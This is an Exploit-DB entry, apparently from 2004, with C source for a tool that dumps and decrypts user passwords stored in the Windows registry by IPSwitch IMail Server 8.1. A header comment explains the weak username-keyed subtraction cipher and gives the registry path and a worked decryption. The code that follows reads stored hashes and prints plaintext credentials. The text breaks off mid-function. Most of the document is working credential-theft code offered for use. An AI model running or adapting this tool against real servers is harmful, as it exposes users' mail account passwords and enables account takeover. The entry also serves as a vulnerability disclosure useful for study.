Exploit-DB #401
Description: IPSwitch IMail Server 8.1 - Local Password Decryption Utility
Type: local
Platform: windows
Date: 2004-08-18
Author: Adik

Exploit:
/*********************************************************************************
* IpSwitch IMail Server <= ver 8.1 User Password Decryption
* 
* by Adik < netmaniac hotmail KG > 
* 
* IpSwitch IMail Server uses weak encryption algorithm to encrypt its user passwords. It uses
* polyalphabetic Vegenere cipher to encrypt its user passwords. This encryption scheme is
* relatively easy to break. In order to decrypt user password we need a key. IMail uses username
* as a key to encrypt its user passwords. The server stores user passwords in the registry under the key 
* "HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\<username>\Password".
* Before decrypting password convert all upper case characters in the username to lower case
* characters. We use username as a key to decrypt our password.
* In order to get our plain text password, we do as follows:
* 1) Subtract hex code of first password hash character by the hex code of first username character.
*    The resulting hex code will be our first decrypted password character.
* 2) Repeat above step for the rest of the chars.
* 
* Look below, everythin is dead simple ;)
* eg:
*
* USERNAME:  netmaniac 
* PASSWORDHASH: D0CEE7D5CCD3D4C7D2E0CAEAD2D3
* --------------------------------------------
*  
* D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3 <- password hash
* - 6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61 <- hex codes of username
* n  e  t  m  a  n  i  a  c  n  e  t  m  a <- username is a key
* -----------------------------------------
* 62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72 <- hex codes of decrypted password
* b  i  s  h  k  e  k  f  o  r  e  v  e  r <- actual decrypted password
*
*
* pwdhash_hex_code  username_hex_code  decrypted_password
* ------------------------------------------------------------------
*   D0   -  6E (n)   = 62 (b)
*   CE   -  65 (e)   = 69 (i)
*   E7   -  74 (t)   = 73 (s)
*   D5   -  6D (m)   = 68 (h)
*   CC   -  61 (a)   = 6B (k)
*   D3   -  6E (n)   = 65 (e)
*   D4   -  69 (i)   = 6B (k)
*   C7   -  61 (a)   = 66 (f)
*   D2   -  63 (c)   = 6F (o)
*   E0   -  6E (n)   = 72 (r)
*   CA   -  65 (e)   = 65 (e)
*   EA   -  74 (t)   = 76 (v)
*   D2   -  6D (m)   = 65 (e)
*   D3   -  61 (a)   = 72 (r)
* ------------------------------------------------------------------
*
* I've included a lil proggie to dump all the usernames/passwords from local machine's registry.
* Have fun!
* //Send bug reports to netmaniac[at]hotmail.KG
*
* Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;), Morphique
*
* [16/August/2004] Bishkek
*********************************************************************************/


//#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <windows.h>
#define snprintf _snprintf
#pragma comment(lib,"advapi32")
#define ALLOWED_USERNAME_CHARS "A-Z,a-z,0-9,-,_,."
#define MAX_NUM 1024 //500
#define DOMAINZ "Software\\IpSwitch\\IMail\\Domains"
#define VER "1.1"
#define MAXSIZE 100

int total_accs=0;
int total_domainz=0,total_domain_accs=0;
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void greetz()
{
 printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver %s] =--\n\n"
   "\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG )\n\n\n",VER);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void usage()
{
 printf( "------------------------------------------------------------------------\n");
 printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from local registry\n\n"
   " Imailpwdump [username] [passwordhash] -- User/PwdHash to decrypt\n\n"
   " eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n");
 printf( "------------------------------------------------------------------------\n");
   
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2hex(char *hexstring, char *outbuff)
{ 
 unsigned long tmp=0;
 char tmpchr[5]=""; 
 memset(outbuff,0,strlen(outbuff));
 if(strlen(hexstring) % 2)
 {
  printf(" Incorrect password hash!\n");
  exit(1);
 }
 if(strlen(hexstring)>MAXSIZE)
 {
  printf(" Password hash is too long! \n");
  exit(1);
 }
 for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++)
 {
  memcpy(tmpchr,hexstring+i,2);
  tmp = strtoul(tmpchr,NULL,16);  
  outbuff[c] = (char)tmp;  
 }
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2smallcase(char *input)
{
 if(strlen(input)>MAXSIZE)
 {
  printf(" Username too long! \n");
  return;
 }
 for(unsigned int i=0;i<strlen(input);i++)
 {
  if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' || input[i]=='.')  
   input[i] = tolower(input[i]);   
  else
  {
   printf(" Bad characters in username!\n Allowed characters: %s\n",ALLOWED_USERNAME_CHARS);
   return;
  }  
 }
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void populate(char *input,unsigned int size)
{
 char tmp[MAX_NUM]="";
 unsigned int strl = strlen(input);
 strcpy(tmp,input);
 //netmaniacnetmaniacnetman
 for(unsigned int i=strlen(input),c=0;i<size;i++,c++)
 { 
  if(c==strl)
   c=0;
  input[i] = tmp[c];
 }
 input[i]='\0';
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void imail_decrypt(char *username, char *pwdhash,char *outbuff)
{
 //adik 123456
 //adikbek 123
 if(strlen(pwdhash) <= strlen(username) )
 {
  memset(outbuff,0,sizeof(outbuff));
  for(unsigned int i=0;i<strlen(pwdhash);i++) 
   outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff);   
  outbuff[i]='\0';
 } 
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void get_usr_pwds(char *subkey,char *usr)
{
 long res;
 HKEY hPwdKey;
 char username[MAXSIZE]="";
 char passwdhash[MAXSIZE*2]="", passwd[MAXSIZE]="",clearpasswd[MAXSIZE]="";
 char fullname[MAXSIZE]="";
 char email[MAXSIZE]="";
 DWORD lType;
 DWORD passwdh